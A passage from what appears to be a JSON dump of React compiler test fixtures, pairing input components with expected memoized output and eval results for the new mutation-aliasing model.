mutable-new typing system, we check the identity of obj to\n * detect whether it was newly created (and thus mutable) in this render pass.\n *\n * HIR with scopes looks like this.\n * bb0:\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2\n * bb1:\n *  $3@1  = Array[$2]\n *  goto bb2\n * bb2:\n *  ...\n *\n * This is surprising as deps now is entirely decoupled from temporaries used\n * by the block itself. scope @1's instructions now reference a value (1)\n * produced outside its scope range and (2) not represented in its dependencies\n *\n * The right thing to do is to ensure that all Loads from a value get assigned\n * the value's reactive scope. This also requires track mutating and aliasing\n * separately from scope range. In this example, that would correctly merge\n * the scopes of $3 with obj.\n * Runtime validation and optimizations such as ReactiveGraph-based reordering\n * require this as well.\n *\n * A tempting fix is to instead extend $3's ReactiveScope range up to include\n * $2 (the PropertyLoad). This fixes dependency deduping but not reordering\n * and mutability.\n */\nfunction Component({prop}) {\n  let obj = shallowCopy(prop);\n  const aliasedObj = identity(obj);\n\n  // [obj.id] currently is assigned its own reactive scope\n  const id = [obj.id];\n\n  // Writing to the alias may reassign to previously captured references.\n  // The compiler currently produces valid output, but this breaks with\n  // reordering, recycleInto, and other potential optimizations.\n  mutate(aliasedObj);\n  setPropertyByKey(aliasedObj, 'id', prop.id + 1);\n\n  return <Stringify id={id} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: {id: 1}}],\n  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport {\n  Stringify,\n  mutate,\n  identity,\n  shallowCopy,\n  setPropertyByKey,\n} from \"shared-runtime\";\n\n/**\n * This fixture is similar to `bug-aliased-capture-aliased-mutate` and\n * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on\n * dependency extraction.\n *\n * NOTE: this fixture is currently valid, but will break with optimizations:\n * - Scope and mutable-range based reordering may move the array creation\n *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate\n *     reassigns inner properties.\n * - RecycleInto or other deeper-equality optimizations may produce invalid\n *     output -- it may compare the array's contents / dependencies too early.\n * - Runtime validation for immutable values will break if `mutate` does\n *     interior mutation of the value captured into the array.\n *\n * Before scope block creation, HIR looks like this:\n *  //\n *  // $1 is unscoped as obj's mutable range will be\n *  // extended in a later pass\n *  //\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  //\n *  // $3 gets assigned a scope as Array is an allocating\n *  // instruction, but this does *not* get extended or\n *  // merged into the later mutation site.\n *  // (explained in `bug-aliased-capture-aliased-mutate`)\n *  //\n *  $3@1  = Array[$2]\n *  ...\n *  $10@0 = LoadLocal shallowCopy@0[0, 12]\n *  $11   = LoadGlobal mutate\n *  $12   = $11($10@0[0, 12])\n *\n * When filling in scope dependencies, we find that it's incorrect to depend on\n * PropertyLoads from obj as it hasn't completed its mutable range. Following\n * the immutable / mutable-new typing system, we check the identity of obj to\n * detect whether it was newly created (and thus mutable) in this render pass.\n *\n * HIR with scopes looks like this.\n * bb0:\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2\n * bb1:\n *  $3@1  = Array[$2]\n *  goto bb2\n * bb2:\n *  ...\n *\n * This is surprising as deps now is entirely decoupled from temporaries used\n * by the block itself. scope @1's instructions now reference a value (1)\n * produced outside its scope range and (2) not represented in its dependencies\n *\n * The right thing to do is to ensure that all Loads from a value get assigned\n * the value's reactive scope. This also requires track mutating and aliasing\n * separately from scope range. In this example, that would correctly merge\n * the scopes of $3 with obj.\n * Runtime validation and optimizations such as ReactiveGraph-based reordering\n * require this as well.\n *\n * A tempting fix is to instead extend $3's ReactiveScope range up to include\n * $2 (the PropertyLoad). This fixes dependency deduping but not reordering\n * and mutability.\n */\nfunction Component(t0) {\n  const $ = _c(2);\n  const { prop } = t0;\n  let t1;\n  if ($[0] !== prop) {\n    const obj = shallowCopy(prop);\n    const aliasedObj = identity(obj);\n    const id = [obj.id];\n    mutate(aliasedObj);\n    setPropertyByKey(aliasedObj, \"id\", prop.id + 1);\n    t1 = <Stringify id={id} />;\n    $[0] = prop;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ prop: { id: 1 } }],\n  sequentialRenders: [\n    { prop: { id: 1 } },\n    { prop: { id: 1 } },\n    { prop: { id: 2 } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"id\":[1]}</div>\n<div>{\"id\":[1]}</div>\n<div>{\"id\":[2]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/aliased-nested-scope-truncated-dep.tsx",
    "content": "// @enableNewMutationAliasingModel\nimport {\n  Stringify,\n  mutate,\n  identity,\n  shallowCopy,\n  setPropertyByKey,\n} from 'shared-runtime';\n\n/**\n * This fixture is similar to `bug-aliased-capture-aliased-mutate` and\n * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on\n * dependency extraction.\n *\n * NOTE: this fixture is currently valid, but will break with optimizations:\n * - Scope and mutable-range based reordering may move the array creation\n *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate\n *     reassigns inner properties.\n * - RecycleInto or other deeper-equality optimizations may produce invalid\n *     output -- it may compare the array's contents / dependencies too early.\n * - Runtime validation for immutable values will break if `mutate` does\n *     interior mutation of the value captured into the array.\n *\n * Before scope block creation, HIR looks like this:\n *  //\n *  // $1 is unscoped as obj's mutable range will be\n *  // extended in a later pass\n *  //\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  //\n *  // $3 gets assigned a scope as Array is an allocating\n *  // instruction, but this does *not* get extended or\n *  // merged into the later mutation site.\n *  // (explained in `bug-aliased-capture-aliased-mutate`)\n *  //\n *  $3@1  = Array[$2]\n *  ...\n *  $10@0 = LoadLocal shallowCopy@0[0, 12]\n *  $11   = LoadGlobal mutate\n *  $12   = $11($10@0[0, 12])\n *\n * When filling in scope dependencies, we find that it's incorrect to depend on\n * PropertyLoads from obj as it hasn't completed its mutable range. Following\n * the immutable / mutable-new typing system, we check the identity of obj to\n * detect whether it was newly created (and thus mutable) in this render pass.\n *\n * HIR with scopes looks like this.\n * bb0:\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2\n * bb1:\n *  $3@1  = Array[$2]\n *  goto bb2\n * bb2:\n *  ...\n *\n * This is surprising as deps now is entirely decoupled from temporaries used\n * by the block itself. scope @1's instructions now reference a value (1)\n * produced outside its scope range and (2) not represented in its dependencies\n *\n * The right thing to do is to ensure that all Loads from a value get assigned\n * the value's reactive scope. This also requires track mutating and aliasing\n * separately from scope range. In this example, that would correctly merge\n * the scopes of $3 with obj.\n * Runtime validation and optimizations such as ReactiveGraph-based reordering\n * require this as well.\n *\n * A tempting fix is to instead extend $3's ReactiveScope range up to include\n * $2 (the PropertyLoad). This fixes dependency deduping but not reordering\n * and mutability.\n */\nfunction Component({prop}) {\n  let obj = shallowCopy(prop);\n  const aliasedObj = identity(obj);\n\n  // [obj.id] currently is assigned its own reactive scope\n  const id = [obj.id];\n\n  // Writing to the alias may reassign to previously captured references.\n  // The compiler currently produces valid output, but this breaks with\n  // reordering, recycleInto, and other potential optimizations.\n  mutate(aliasedObj);\n  setPropertyByKey(aliasedObj, 'id', prop.id + 1);\n\n  return <Stringify id={id} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: {id: 1}}],\n  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-filter.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity(null);\n  const derived = arr.filter(Boolean);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction Component(t0) {\n  const $ = _c(13);\n  const { value } = t0;\n  let t1;\n  let t2;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = { value: \"foo\" };\n    t2 = { value: \"bar\" };\n    $[0] = t1;\n    $[1] = t2;\n  } else {\n    t1 = $[0];\n    t2 = $[1];\n  }\n  let t3;\n  if ($[2] !== value) {\n    t3 = [t1, t2, { value }];\n    $[2] = value;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  const arr = t3;\n  useIdentity(null);\n  let t4;\n  if ($[4] !== arr) {\n    t4 = arr.filter(Boolean);\n    $[4] = arr;\n    $[5] = t4;\n  } else {\n    t4 = $[5];\n  }\n  const derived = t4;\n  let t5;\n  if ($[6] !== derived) {\n    t5 = derived.at(0);\n    $[6] = derived;\n    $[7] = t5;\n  } else {\n    t5 = $[7];\n  }\n  let t6;\n  if ($[8] !== derived) {\n    t6 = derived.at(-1);\n    $[8] = derived;\n    $[9] = t6;\n  } else {\n    t6 = $[9];\n  }\n  let t7;\n  if ($[10] !== t5 || $[11] !== t6) {\n    t7 = (\n      <Stringify>\n        {t5}\n        {t6}\n      </Stringify>\n    );\n    $[10] = t5;\n    $[11] = t6;\n    $[12] = t7;\n  } else {\n    t7 = $[12];\n  }\n  return t7;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-filter.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity(null);\n  const derived = arr.filter(Boolean);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-captures-receiver-noAlias.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component(props) {\n  // This item is part of the receiver, should be memoized\n  const item = {a: props.a};\n  const items = [item];\n  const mapped = items.map(item => item);\n  // mapped[0].a = null;\n  return mapped;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {id: 42}}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.a) {\n    const item = { a: props.a };\n    const items = [item];\n    t0 = items.map(_temp);\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const mapped = t0;\n\n  return mapped;\n}\nfunction _temp(item_0) {\n  return item_0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: { id: 42 } }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":{\"id\":42}}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-captures-receiver-noAlias.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component(props) {\n  // This item is part of the receiver, should be memoized\n  const item = {a: props.a};\n  const items = [item];\n  const mapped = items.map(item => item);\n  // mapped[0].a = null;\n  return mapped;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {id: 42}}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-named-callback-cross-context.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Forked from array-map-simple.js\n *\n * Named lambdas (e.g. cb1) may be defined in the top scope of a function and\n * used in a different lambda (getArrMap1).\n *\n * Here, we should try to determine if cb1 is actually called. In this case:\n * - getArrMap1 is assumed to be called as it's passed to JSX\n * - cb1 is not assumed to be called since it's only used as a call operand\n */\nfunction useFoo({arr1, arr2}) {\n  const cb1 = e => arr1[0].value + e.value;\n  const getArrMap1 = () => arr1.map(cb1);\n  const cb2 = e => arr2[0].value + e.value;\n  const getArrMap2 = () => arr1.map(cb2);\n  return (\n    <Stringify\n      getArrMap1={getArrMap1}\n      getArrMap2={getArrMap2}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { Stringify } from \"shared-runtime\";\n\n/**\n * Forked from array-map-simple.js\n *\n * Named lambdas (e.g. cb1) may be defined in the top scope of a function and\n * used in a different lambda (getArrMap1).\n *\n * Here, we should try to determine if cb1 is actually called. In this case:\n * - getArrMap1 is assumed to be called as it's passed to JSX\n * - cb1 is not assumed to be called since it's only used as a call operand\n */\nfunction useFoo(t0) {\n  const $ = _c(13);\n  const { arr1, arr2 } = t0;\n  let t1;\n  if ($[0] !== arr1[0]) {\n    t1 = (e) => arr1[0].value + e.value;\n    $[0] = arr1[0];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const cb1 = t1;\n  let t2;\n  if ($[2] !== arr1 || $[3] !== cb1) {\n    t2 = () => arr1.map(cb1);\n    $[2] = arr1;\n    $[3] = cb1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  const getArrMap1 = t2;\n  let t3;\n  if ($[5] !== arr2) {\n    t3 = (e_0) => arr2[0].value + e_0.value;\n    $[5] = arr2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  const cb2 = t3;\n  let t4;\n  if ($[7] !== arr1 || $[8] !== cb2) {\n    t4 = () => arr1.map(cb2);\n    $[7] = arr1;\n    $[8] = cb2;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  const getArrMap2 = t4;\n  let t5;\n  if ($[10] !== getArrMap1 || $[11] !== getArrMap2) {\n    t5 = (\n      <Stringify\n        getArrMap1={getArrMap1}\n        getArrMap2={getArrMap2}\n        shouldInvokeFns={true}\n      />\n    );\n    $[10] = getArrMap1;\n    $[11] = getArrMap2;\n    $[12] = t5;\n  } else {\n    t5 = $[12];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ arr1: [], arr2: [] }],\n  sequentialRenders: [\n    { arr1: [], arr2: [] },\n    { arr1: [], arr2: null },\n    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"getArrMap1\":{\"kind\":\"Function\",\"result\":[]},\"getArrMap2\":{\"kind\":\"Function\",\"result\":[]},\"shouldInvokeFns\":true}</div>\n<div>{\"getArrMap1\":{\"kind\":\"Function\",\"result\":[]},\"getArrMap2\":{\"kind\":\"Function\",\"result\":[]},\"shouldInvokeFns\":true}</div>\n<div>{\"getArrMap1\":{\"kind\":\"Function\",\"result\":[2,3]},\"getArrMap2\":{\"kind\":\"Function\",\"result\":[0,1]},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-named-callback-cross-context.js",
    "content": "// @enableNewMutationAliasingModel\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Forked from array-map-simple.js\n *\n * Named lambdas (e.g. cb1) may be defined in the top scope of a function and\n * used in a different lambda (getArrMap1).\n *\n * Here, we should try to determine if cb1 is actually called. In this case:\n * - getArrMap1 is assumed to be called as it's passed to JSX\n * - cb1 is not assumed to be called since it's only used as a call operand\n */\nfunction useFoo({arr1, arr2}) {\n  const cb1 = e => arr1[0].value + e.value;\n  const getArrMap1 = () => arr1.map(cb1);\n  const cb2 = e => arr2[0].value + e.value;\n  const getArrMap2 = () => arr1.map(cb2);\n  return (\n    <Stringify\n      getArrMap1={getArrMap1}\n      getArrMap2={getArrMap2}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-push.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component({a, b, c}) {\n  const x = [];\n  x.push(a);\n  const merged = {b}; // could be mutated by mutate(x) below\n  x.push(merged);\n  mutate(x);\n  const independent = {c}; // can't be later mutated\n  x.push(independent);\n  return <Foo value={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction Component(t0) {\n  const $ = _c(6);\n  const { a, b, c } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    const x = [];\n    x.push(a);\n    const merged = { b };\n    x.push(merged);\n    mutate(x);\n    let t2;\n    if ($[4] !== c) {\n      t2 = { c };\n      $[4] = c;\n      $[5] = t2;\n    } else {\n      t2 = $[5];\n    }\n    const independent = t2;\n    x.push(independent);\n    t1 = <Foo value={x} />;\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-push.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component({a, b, c}) {\n  const x = [];\n  x.push(a);\n  const merged = {b}; // could be mutated by mutate(x) below\n  x.push(merged);\n  mutate(x);\n  const independent = {c}; // can't be later mutated\n  x.push(independent);\n  return <Foo value={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation-via-function-expression.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = {a};\n  const y = [b];\n  const f = () => {\n    y.x = x;\n    mutate(y);\n  };\n  f();\n  return <div>{x}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction Component(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    const x = { a };\n    const y = [b];\n    const f = () => {\n      y.x = x;\n      mutate(y);\n    };\n    f();\n    t1 = <div>{x}</div>;\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation-via-function-expression.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = {a};\n  const y = [b];\n  const f = () => {\n    y.x = x;\n    mutate(y);\n  };\n  f();\n  return <div>{x}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = {a};\n  const y = [b];\n  y.x = x;\n  mutate(y);\n  return <div>{x}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction Component(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    const x = { a };\n    const y = [b];\n    y.x = x;\n    mutate(y);\n    t1 = <div>{x}</div>;\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = {a};\n  const y = [b];\n  y.x = x;\n  mutate(y);\n  return <div>{x}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-backedge-phi-with-later-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {arrayPush, Stringify} from 'shared-runtime';\n\nfunction Component({prop1, prop2}) {\n  'use memo';\n\n  let x = [{value: prop1}];\n  let z;\n  while (x.length < 2) {\n    // there's a phi here for x (value before the loop and the reassignment later)\n\n    // this mutation occurs before the reassigned value\n    arrayPush(x, {value: prop2});\n\n    if (x[0].value === prop1) {\n      x = [{value: prop2}];\n      const y = x;\n      z = y[0];\n    }\n  }\n  z.other = true;\n  return <Stringify z={z} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop1: 0, prop2: 'a'}],\n  sequentialRenders: [\n    {prop1: 0, prop2: 'a'},\n    {prop1: 1, prop2: 'a'},\n    {prop1: 1, prop2: 'b'},\n    {prop1: 0, prop2: 'b'},\n    {prop1: 0, prop2: 'a'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { arrayPush, Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  \"use memo\";\n  const $ = _c(5);\n  const { prop1, prop2 } = t0;\n  let z;\n  if ($[0] !== prop1 || $[1] !== prop2) {\n    let x = [{ value: prop1 }];\n    while (x.length < 2) {\n      arrayPush(x, { value: prop2 });\n\n      if (x[0].value === prop1) {\n        x = [{ value: prop2 }];\n        const y = x;\n        z = y[0];\n      }\n    }\n\n    z.other = true;\n    $[0] = prop1;\n    $[1] = prop2;\n    $[2] = z;\n  } else {\n    z = $[2];\n  }\n  let t1;\n  if ($[3] !== z) {\n    t1 = <Stringify z={z} />;\n    $[3] = z;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ prop1: 0, prop2: \"a\" }],\n  sequentialRenders: [\n    { prop1: 0, prop2: \"a\" },\n    { prop1: 1, prop2: \"a\" },\n    { prop1: 1, prop2: \"b\" },\n    { prop1: 0, prop2: \"b\" },\n    { prop1: 0, prop2: \"a\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"z\":{\"value\":\"a\",\"other\":true}}</div>\n<div>{\"z\":{\"value\":\"a\",\"other\":true}}</div>\n<div>{\"z\":{\"value\":\"b\",\"other\":true}}</div>\n<div>{\"z\":{\"value\":\"b\",\"other\":true}}</div>\n<div>{\"z\":{\"value\":\"a\",\"other\":true}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-backedge-phi-with-later-mutation.js",
    "content": "// @enableNewMutationAliasingModel\nimport {arrayPush, Stringify} from 'shared-runtime';\n\nfunction Component({prop1, prop2}) {\n  'use memo';\n\n  let x = [{value: prop1}];\n  let z;\n  while (x.length < 2) {\n    // there's a phi here for x (value before the loop and the reassignment later)\n\n    // this mutation occurs before the reassigned value\n    arrayPush(x, {value: prop2});\n\n    if (x[0].value === prop1) {\n      x = [{value: prop2}];\n      const y = x;\n      z = y[0];\n    }\n  }\n  z.other = true;\n  return <Stringify z={z} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop1: 0, prop2: 'a'}],\n  sequentialRenders: [\n    {prop1: 0, prop2: 'a'},\n    {prop1: 1, prop2: 'a'},\n    {prop1: 1, prop2: 'b'},\n    {prop1: 0, prop2: 'b'},\n    {prop1: 0, prop2: 'a'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-in-function-expression-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, mutate} from 'shared-runtime';\n\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = {y};\n    let b = {x};\n    a.y.x = b;\n  };\n  f0();\n  mutate(y);\n  return <Stringify x={y} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 2, bar: 3}],\n  sequentialRenders: [\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 4},\n    {foo: 3, bar: 4},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, mutate } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { foo, bar } = t0;\n  let t1;\n  if ($[0] !== bar || $[1] !== foo) {\n    const x = { foo };\n    const y = { bar };\n    const f0 = function () {\n      const a = { y };\n      const b = { x };\n      a.y.x = b;\n    };\n    f0();\n    mutate(y);\n    t1 = <Stringify x={y} />;\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: 2, bar: 3 }],\n  sequentialRenders: [\n    { foo: 2, bar: 3 },\n    { foo: 2, bar: 3 },\n    { foo: 2, bar: 4 },\n    { foo: 3, bar: 4 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"x\":{\"bar\":3,\"x\":{\"x\":{\"foo\":2}},\"wat0\":\"joe\"}}</div>\n<div>{\"x\":{\"bar\":3,\"x\":{\"x\":{\"foo\":2}},\"wat0\":\"joe\"}}</div>\n<div>{\"x\":{\"bar\":4,\"x\":{\"x\":{\"foo\":2}},\"wat0\":\"joe\"}}</div>\n<div>{\"x\":{\"bar\":4,\"x\":{\"x\":{\"foo\":3}},\"wat0\":\"joe\"}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-in-function-expression-indirect.js",
    "content": "import {Stringify, mutate} from 'shared-runtime';\n\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = {y};\n    let b = {x};\n    a.y.x = b;\n  };\n  f0();\n  mutate(y);\n  return <Stringify x={y} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 2, bar: 3}],\n  sequentialRenders: [\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 4},\n    {foo: 3, bar: 4},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-2-iife.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0][1];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [['val1', 'val2']],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction bar(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = [a];\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let y;\n  if ($[2] !== x[0][1]) {\n    y = {};\n\n    y = x[0][1];\n    $[2] = x[0][1];\n    $[3] = y;\n  } else {\n    y = $[3];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [[\"val1\", \"val2\"]],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"val2\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-2-iife.js",
    "content": "// @enableNewMutationAliasingModel\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0][1];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [['val1', 'val2']],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-3-iife.expect.md",
